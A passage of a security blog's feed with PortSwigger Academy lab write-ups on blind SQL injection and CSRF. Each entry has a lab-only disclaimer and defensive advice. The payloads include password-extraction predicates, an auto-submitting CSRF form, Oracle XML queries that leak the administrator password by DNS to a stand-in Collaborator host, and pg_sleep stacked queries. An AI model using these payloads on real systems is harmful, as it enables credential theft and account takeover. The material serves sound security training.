    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>Blind SQL injection with conditional responses</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-conditional-responses/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-conditional-responses/</id>
    <published>2026-07-07T17:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The response body acts as a one-bit database channel: welcome back! appears for true predicates; length testing finds 20 and substr((select password from users where username&#x3D;’administrator’),position,1)&#x3D;candidate reveals each character. That stable marker turns an otherwise blind TrackingId injection into a character-by-character extractor.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>Blind SQL injection with conditional responses</strong> through the endpoint and input recorded in the lab note. <code>Welcome back!</code> appears for true predicates; length testing finds 20 and <code>substr((select password from users where username=&#39;administrator&#39;),position,1)=candidate</code> reveals each character.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>Welcome back!</code> appears for true predicates; length testing finds 20 and <code>substr((select password from users where username=&#39;administrator&#39;),position,1)=candidate</code> reveals each character.</p><figure><img src="/images/portswigger/sql-injection/lab-conditional-responses/step-1.png" alt="Paired TrackingId predicates establish that the shop response includes Welcome back only when the injected SQL condition is true."><figcaption>Paired TrackingId predicates establish that the shop response includes Welcome back only when the injected SQL condition is true.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-conditional-responses/step-2.png" alt="Intruder tests administrator password lengths through TrackingId and identifies 20 from the sole response containing Welcome back."><figcaption>Intruder tests administrator password lengths through TrackingId and identifies 20 from the sole response containing Welcome back.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-conditional-responses/step-3.png" alt="A SUBSTRING predicate in TrackingId tests each administrator password position, using the Welcome back marker as the true branch."><figcaption>A SUBSTRING predicate in TrackingId tests each administrator password position, using the Welcome back marker as the true branch.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>Welcome back!</code> appears for true predicates; length testing finds 20 and <code>substr((select password from users where username=&#39;administrator&#39;),position,1)=candidate</code> reveals each character. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Send paired TrackingId cookies whose predicates differ only in truth value. After confirming that <code>Welcome back!</code> is the oracle, determine the administrator password length and enumerate each position with <code>SUBSTRING</code>, retaining the marker-bearing response as the true branch.</p><figure><img src="/images/portswigger/sql-injection/lab-conditional-responses/step-4.png" alt="A true Boolean condition in the TrackingId cookie returns the visible Welcome back marker in the shop response."><figcaption>A true Boolean condition in the TrackingId cookie returns the visible Welcome back marker in the shop response.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-conditional-responses/step-5.png" alt="Burp Intruder varies the administrator password length and identifies 20 from the marker-bearing response."><figcaption>Burp Intruder varies the administrator password length and identifies 20 from the marker-bearing response.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-conditional-responses/step-6.png" alt="SUBSTRING character tests retain Welcome back matches for each position before the recovered credential is accepted at login."><figcaption>SUBSTRING character tests retain Welcome back matches for each position before the recovered credential is accepted at login.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when <code>Welcome back!</code> appears for true predicates; length testing finds 20 and <code>substr((select password from users where username=&#39;administrator&#39;),position,1)=candidate</code> reveals each character. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Even without SQL rows or errors in the response, one conditional phrase can disclose an entire credential. Parameterize the TrackingId lookup and make authentication-adjacent UI independent of database predicate outcomes.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Use the TrackingId cookie as a Boolean SQL oracle, where Welcome back marks true predicates and reveals the administrator password character by character.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>CSRF Vulnerability with No Defenses</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-no-defenses/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-no-defenses/</id>
    <published>2026-07-07T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>PortSwigger lab-only disclaimer.</strong> This walkthrough applies exclusively to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Do not send cross-site requests to systems you do not own or have explicit permission to test.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>This introductory lab demonstrates cross-site request forgery (CSRF, CWE-352) in an email-change function. The application accepts a state-changing request using only the browser’s session cookie: there is no anti-CSRF token or other effective check that the account holder intended the action.</p><figure><img src="/images/portswigger/csrf/lab-no-defenses/step-1.png" alt="Lab description states that the email-change function is vulnerable to CSRF and must be attacked from the exploit server."><figcaption>Lab description states that the email-change function is vulnerable to CSRF and must be attacked from the exploit server.</figcaption></figure><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Sign in to the supplied synthetic account (<code>wiener:peter</code>), understand the legitimate email-update request, and use the lab’s exploit server to make the simulated victim submit an equivalent request. The state-changing endpoint observed in the source notes is <code>POST /my-account/change-email</code>.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>The account page contains a simple form for updating the current user’s email address.</p><figure><img src="/images/portswigger/csrf/lab-no-defenses/step-2.png" alt="My Account shows user wiener and the email-change form before the attack."><figcaption>My Account shows user wiener and the email-change form before the attack.</figcaption></figure><p>After submitting a test value while Burp Proxy recorded the traffic, the request contained one body parameter, <code>email</code>, alongside the session cookie. The response redirected back to the account page. Crucially, the request contained no unpredictable token tied to the user’s session.</p><figure><img src="/images/portswigger/csrf/lab-no-defenses/step-3.png" alt="Burp records POST /my-account/change-email with the session cookie and only email=test%40example.com in the body; the response is 302 Found."><figcaption>Burp records POST /my-account/change-email with the session cookie and only email=test%40example.com in the body; the response is 302 Found.</figcaption></figure><p>Reloading the account page confirmed that the direct request changed the email value.</p><figure><img src="/images/portswigger/csrf/lab-no-defenses/step-4.png" alt="My Account displays test@example.com, confirming that the POST email-change request changed the account value."><figcaption>My Account displays test@example.com, confirming that the POST email-change request changed the account value.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The browser automatically includes applicable cookies when submitting a form. Because this endpoint relies on the session cookie but does not require a per-request anti-CSRF value, an unrelated page can construct the same form submission. The server can authenticate the victim through the cookie, yet cannot distinguish the victim’s deliberate action from an attacker-induced request.</p><p>The source notes also record no effective <code>SameSite</code> cookie defense and no <code>Origin</code> or <code>Referer</code> validation. Those observations reinforce the finding, but the decisive evidence is that a cross-site form can reproduce the accepted state-changing request without a secret value.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><ol><li>Sign in with the lab credentials and submit a harmless test email from <strong>My Account</strong>.</li><li>Inspect the resulting request in Burp. Identify its method, destination, content type, and required body parameter.</li><li>Check for an anti-CSRF token or another value an external site could not know. Here, only the attacker-chosen <code>email</code> field is needed.</li><li>Reproduce the request as an auto-submitting HTML form, substituting the current lab host for <code>LAB</code>:</li></ol><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">&quot;https://LAB/my-account/change-email&quot;</span> <span class="attr">method</span>=<span class="string">&quot;POST&quot;</span>&gt;</span></span><br><span class="line">      <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;hidden&quot;</span> <span class="attr">name</span>=<span class="string">&quot;email&quot;</span> <span class="attr">value</span>=<span class="string">&quot;hacked@hacker.com&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="variable language_">document</span>.<span class="property">forms</span>[<span class="number">0</span>].<span class="title function_">submit</span>();</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><ol start="5"><li>Burp’s <strong>Engagement tools → Generate CSRF PoC</strong> can generate an equivalent form from the captured request. Review the generated action and parameter rather than treating generation alone as proof.</li></ol><figure><img src="/images/portswigger/csrf/lab-no-defenses/step-5.png" alt="Burp’s Generate CSRF PoC menu and generated auto-submitting POST form target /my-account/change-email with the email field."><figcaption>Burp’s Generate CSRF PoC menu and generated auto-submitting POST form target /my-account/change-email with the email field.</figcaption></figure><ol start="6"><li>Place the reviewed HTML on the lab’s exploit server, store it, and select <strong>Deliver exploit to victim</strong>. The simulated victim’s browser submits the request with its own lab session.</li></ol><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The Web Security Academy banner reports <strong>Solved</strong> after delivery. This verifies the complete CSRF condition: the cross-site page caused the authenticated simulated victim to perform the email change without supplying an anti-CSRF secret.</p><figure><img src="/images/portswigger/csrf/lab-no-defenses/step-6.png" alt="The Academy page displays “CSRF vulnerability with no defenses” and the green Solved status."><figcaption>The Academy page displays “CSRF vulnerability with no defenses” and the green Solved status.</figcaption></figure><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>On a real service, unauthorized email changes may disrupt account recovery and can contribute to account takeover when combined with password-reset behavior. Similar flaws can affect purchases, profile changes, or other sensitive actions.</p><p>Use a robust framework-provided CSRF defense and validate an unpredictable token bound to the user’s session on every state-changing request. Set session cookies with an appropriate <code>SameSite</code> policy as defense in depth, and consider strict <code>Origin</code>&#x2F;<code>Referer</code> validation where suitable. Reauthentication or confirmation is also appropriate for high-impact account changes. Cookie settings or header checks should complement, not casually replace, a correctly implemented token defense.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/csrf/lab-no-defenses">PortSwigger Web Security Academy: CSRF vulnerability with no defenses</a></li><li><a href="https://portswigger.net/web-security/csrf">PortSwigger: Cross-site request forgery</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html">OWASP Cross-Site Request Forgery Prevention Cheat Sheet</a></li><li><a href="https://cwe.mitre.org/data/definitions/352.html">CWE-352: Cross-Site Request Forgery</a></li></ul><h2 id="Provenance"><a href="#Provenance" class="headerlink" title="Provenance"></a>Provenance</h2><p>Rewritten in English from the private migration source declared in the front matter. The six figures are corresponding source screenshots retained in their original order; no new behavior or result is asserted.</p>]]></content>
    
    
    <summary type="html">A reasoning-led PortSwigger lab walkthrough showing how an unprotected email-change endpoint permits a cross-site form submission with the victim&#39;s session.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="CSRF" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/CSRF/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="csrf" scheme="https://blog.nhhoang.io.vn/tags/csrf/"/>
    
  </entry>
  
  <entry>
    <title>Blind SQL injection with out-of-band data exfiltration</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-out-of-band-data-exfiltration/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-out-of-band-data-exfiltration/</id>
    <published>2026-07-07T14:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.492Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The database exports the target value through DNS: eXTRACTVALUE(xmltype(…)) FROM dual concatenates the administrator password into a Collaborator subdomain. The Collaborator hostname contains the result, so the empty in-band response does not prevent extraction.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>Blind SQL injection with out-of-band data exfiltration</strong> through the endpoint and input recorded in the lab note. <code>EXTRACTVALUE(xmltype(...)) FROM dual</code> concatenates the administrator password into a Collaborator subdomain.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>EXTRACTVALUE(xmltype(...)) FROM dual</code> concatenates the administrator password into a Collaborator subdomain.</p><figure><img src="/images/portswigger/sql-injection/lab-out-of-band-data-exfiltration/step-1.png" alt="`EXTRACTVALUE(xmltype(...)) FROM dual` concatenates the administrator password into a Collaborator subdomain."><figcaption>`EXTRACTVALUE(xmltype(...)) FROM dual` concatenates the administrator password into a Collaborator subdomain.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p><code>EXTRACTVALUE(xmltype(...)) FROM dual</code> concatenates the administrator password into a Collaborator subdomain. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Insert a fresh Collaborator domain into the Oracle <code>EXTRACTVALUE</code>&#x2F;<code>xmltype</code> expression and concatenate the administrator password ahead of it. Poll Collaborator and read the leftmost DNS label from the resulting interaction before using the recovered lab credential.</p><figure><img src="/images/portswigger/sql-injection/lab-out-of-band-data-exfiltration/step-2.png" alt="Repeater places the administrator password before a fresh Collaborator hostname inside the Oracle EXTRACTVALUE XML external-entity query injected through TrackingId."><figcaption>Repeater places the administrator password before a fresh Collaborator hostname inside the Oracle EXTRACTVALUE XML external-entity query injected through TrackingId.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-out-of-band-data-exfiltration/step-3.png" alt="Collaborator records a DNS lookup whose leftmost hostname label contains the exfiltrated administrator password, providing the out-of-band data result."><figcaption>Collaborator records a DNS lookup whose leftmost hostname label contains the exfiltrated administrator password, providing the out-of-band data result.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when <code>EXTRACTVALUE(xmltype(...)) FROM dual</code> concatenates the administrator password into a Collaborator subdomain. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Outbound DNS can convert blind SQL injection into direct data exfiltration. Parameterize the query and restrict database&#x2F;network egress so database processes cannot resolve arbitrary attacker-controlled names.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Place an Oracle XML external-entity expression in TrackingId and learn how the database embeds the administrator password in a Collaborator DNS lookup.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>Blind SQL injection with out-of-band interaction</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-out-of-band/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-out-of-band/</id>
    <published>2026-07-07T11:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The proof arrives outside the HTTP response: the in-band response is unchanged, but EXTRACTVALUE(xmltype(… SYSTEM “<a href="http://collab/">http://COLLAB/</a>“ …),’&#x2F;l’) FROM dual causes a Collaborator DNS interaction. Oracle XML processing resolves the external system identifier and leaves a DNS event in Collaborator.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>Blind SQL injection with out-of-band interaction</strong> through the endpoint and input recorded in the lab note. The in-band response is unchanged, but <code>EXTRACTVALUE(xmltype(... SYSTEM &quot;http://COLLAB/&quot; ...),&#39;/l&#39;) FROM dual</code> causes a Collaborator DNS interaction.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>the in-band response is unchanged, but <code>EXTRACTVALUE(xmltype(... SYSTEM &quot;http://COLLAB/&quot; ...),&#39;/l&#39;) FROM dual</code> causes a Collaborator DNS interaction.</p><figure><img src="/images/portswigger/sql-injection/lab-out-of-band/step-1.png" alt="The in-band response is unchanged, but `EXTRACTVALUE(xmltype(... SYSTEM &quot;http://COLLAB/&quot; ...),&#x27;/l&#x27;) FROM dual` causes a Collaborator DNS interaction."><figcaption>The in-band response is unchanged, but `EXTRACTVALUE(xmltype(... SYSTEM "http://COLLAB/" ...),'/l') FROM dual` causes a Collaborator DNS interaction.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>The in-band response is unchanged, but <code>EXTRACTVALUE(xmltype(... SYSTEM &quot;http://COLLAB/&quot; ...),&#39;/l&#39;) FROM dual</code> causes a Collaborator DNS interaction. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Generate a unique Collaborator address, embed it as the external entity system URL in the Oracle expression, and place that expression in the injectable TrackingId. Poll for the DNS lookup; the interaction, rather than page content, is the success signal.</p><figure><img src="/images/portswigger/sql-injection/lab-out-of-band/step-2.png" alt="Repeater injects an Oracle EXTRACTVALUE XML external entity with a unique Collaborator URL into the TrackingId cookie while the HTTP response remains unchanged."><figcaption>Repeater injects an Oracle EXTRACTVALUE XML external entity with a unique Collaborator URL into the TrackingId cookie while the HTTP response remains unchanged.</figcaption></figure><figure><img src="/images/portswigger/sql-injection/lab-out-of-band/step-3.png" alt="Collaborator polling displays the resulting DNS interaction from the lab database host, confirming out-of-band execution of the TrackingId query."><figcaption>Collaborator polling displays the resulting DNS interaction from the lab database host, confirming out-of-band execution of the TrackingId query.</figcaption></figure><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when the in-band response is unchanged, but <code>EXTRACTVALUE(xmltype(... SYSTEM &quot;http://COLLAB/&quot; ...),&#39;/l&#39;) FROM dual</code> causes a Collaborator DNS interaction. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Blind injection can still be confirmed through database egress. Combine parameterized SQL with outbound DNS&#x2F;HTTP restrictions and monitoring for XML functions that reference external hosts.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Inject Oracle EXTRACTVALUE into TrackingId and learn how external-entity resolution proves blind SQL injection through a Collaborator DNS interaction.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>Blind SQL injection with time delays</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-time-delays/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-time-delays/</id>
    <published>2026-07-07T08:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>The unchanged page hides a measurable server-side effect: postgreSQL payloads using pgsleep(10), including ‘; SELECT pgsleep(10)–, delay the response by ten seconds. The ten-second pause is the evidence that the cookie value reaches PostgreSQL as executable syntax.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>Blind SQL injection with time delays</strong> through the endpoint and input recorded in the lab note. PostgreSQL payloads using <code>pg_sleep(10)</code>, including <code>&#39;; SELECT pg_sleep(10)--</code>, delay the response by ten seconds.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p>PostgreSQL payloads using <code>pg_sleep(10)</code>, including <code>&#39;; SELECT pg_sleep(10)--</code>, delay the response by ten seconds.</p><figure><img src="/images/portswigger/sql-injection/lab-time-delays/step-1.png" alt="PostgreSQL payloads using `pg_sleep(10)`, including `&#x27;; SELECT pg_sleep(10)--`, delay the response by ten seconds."><figcaption>PostgreSQL payloads using `pg_sleep(10)`, including `'; SELECT pg_sleep(10)--`, delay the response by ten seconds.</figcaption></figure><h2 id="Why-it-is-vulnerable"><a href="#Why-it-is-vulnerable" class="headerlink" title="Why it is vulnerable"></a>Why it is vulnerable</h2><p>PostgreSQL payloads using <code>pg_sleep(10)</code>, including <code>&#39;; SELECT pg_sleep(10)--</code>, delay the response by ten seconds. The application passes that value into the security-sensitive operation without the context-specific validation or encoding needed to prevent this result.</p><h2 id="Walkthrough-in-the-authorized-PortSwigger-lab"><a href="#Walkthrough-in-the-authorized-PortSwigger-lab" class="headerlink" title="Walkthrough in the authorized PortSwigger lab"></a>Walkthrough in the authorized PortSwigger lab</h2><p>Record the normal TrackingId response time, inject the PostgreSQL statement terminator and <code>pg_sleep(10)</code>, and repeat enough times to separate the deliberate delay from network variance. No body difference is required for this lab.</p><h2 id="Verification"><a href="#Verification" class="headerlink" title="Verification"></a>Verification</h2><p>The lab is confirmed when postgreSQL payloads using <code>pg_sleep(10)</code>, including <code>&#39;; SELECT pg_sleep(10)--</code>, delay the response by ten seconds. The captured result and the Academy solved state provide the verification; an ordinary status code alone does not.</p><h2 id="Impact-and-defensive-lesson"><a href="#Impact-and-defensive-lesson" class="headerlink" title="Impact and defensive lesson"></a>Impact and defensive lesson</h2><p>Time-based SQL injection remains exploitable when errors and query output are suppressed. Bind cookie values as data, disallow stacked statements, cap query duration, and investigate repeated sleep-function requests.</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://portswigger.net/web-security/sql-injection/blind/lab-time-delays">PortSwigger lab</a></li><li><a href="https://portswigger.net/web-security">PortSwigger Web Security Academy</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Web Security Testing Guide</a></li></ul>]]></content>
    
    
    <summary type="html">Inject pg_sleep through the TrackingId cookie and learn how a repeatable ten-second response delay confirms blind PostgreSQL execution.</summary>
    
    
    
    <category term="Writeups" scheme="https://blog.nhhoang.io.vn/categories/Writeups/"/>
    
    <category term="PortSwigger" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/"/>
    
    <category term="SQL Injection" scheme="https://blog.nhhoang.io.vn/categories/Writeups/PortSwigger/SQL-Injection/"/>
    
    
    <category term="portswigger" scheme="https://blog.nhhoang.io.vn/tags/portswigger/"/>
    
    <category term="web-security" scheme="https://blog.nhhoang.io.vn/tags/web-security/"/>
    
    <category term="sql-injection" scheme="https://blog.nhhoang.io.vn/tags/sql-injection/"/>
    
  </entry>
  
  <entry>
    <title>Blind SQL injection with time delays and information retrieval</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/07/lab-time-delays-info-retrieval/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/07/lab-time-delays-info-retrieval/</id>
    <published>2026-07-07T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.493Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Authorization disclaimer.</strong> This walkthrough is limited to the intentionally vulnerable PortSwigger Web Security Academy lab linked below. Test only systems you own or are explicitly authorized to assess.</p></blockquote><h2 id="Overview"><a href="#Overview" class="headerlink" title="Overview"></a>Overview</h2><p>Here the database communicates through latency rather than content: cASE WHEN (…) THEN pgsleep(10) ELSE pgsleep(0) END establishes length 20; SUBSTRING(password,position,1)&#x3D;candidate identifies characters with one concurrent request. A controlled sleep supplies the Boolean branch needed to recover the synthetic administrator password.</p><h2 id="Lab-objective-setup"><a href="#Lab-objective-setup" class="headerlink" title="Lab objective&#x2F;setup"></a>Lab objective&#x2F;setup</h2><p>Exercise <strong>Blind SQL injection with time delays and information retrieval</strong> through the endpoint and input recorded in the lab note. <code>CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END</code> establishes length 20; <code>SUBSTRING(password,position,1)=candidate</code> identifies characters with one concurrent request.</p><h2 id="What-I-observed"><a href="#What-I-observed" class="headerlink" title="What I observed"></a>What I observed</h2><p><code>CASE WHEN (...) THEN pg_sleep(10) ELSE pg_sleep(0) END</code> establishes length 20; <code>SUBSTRING(password,position,1)=candidate</code> identifies characters with one concurrent 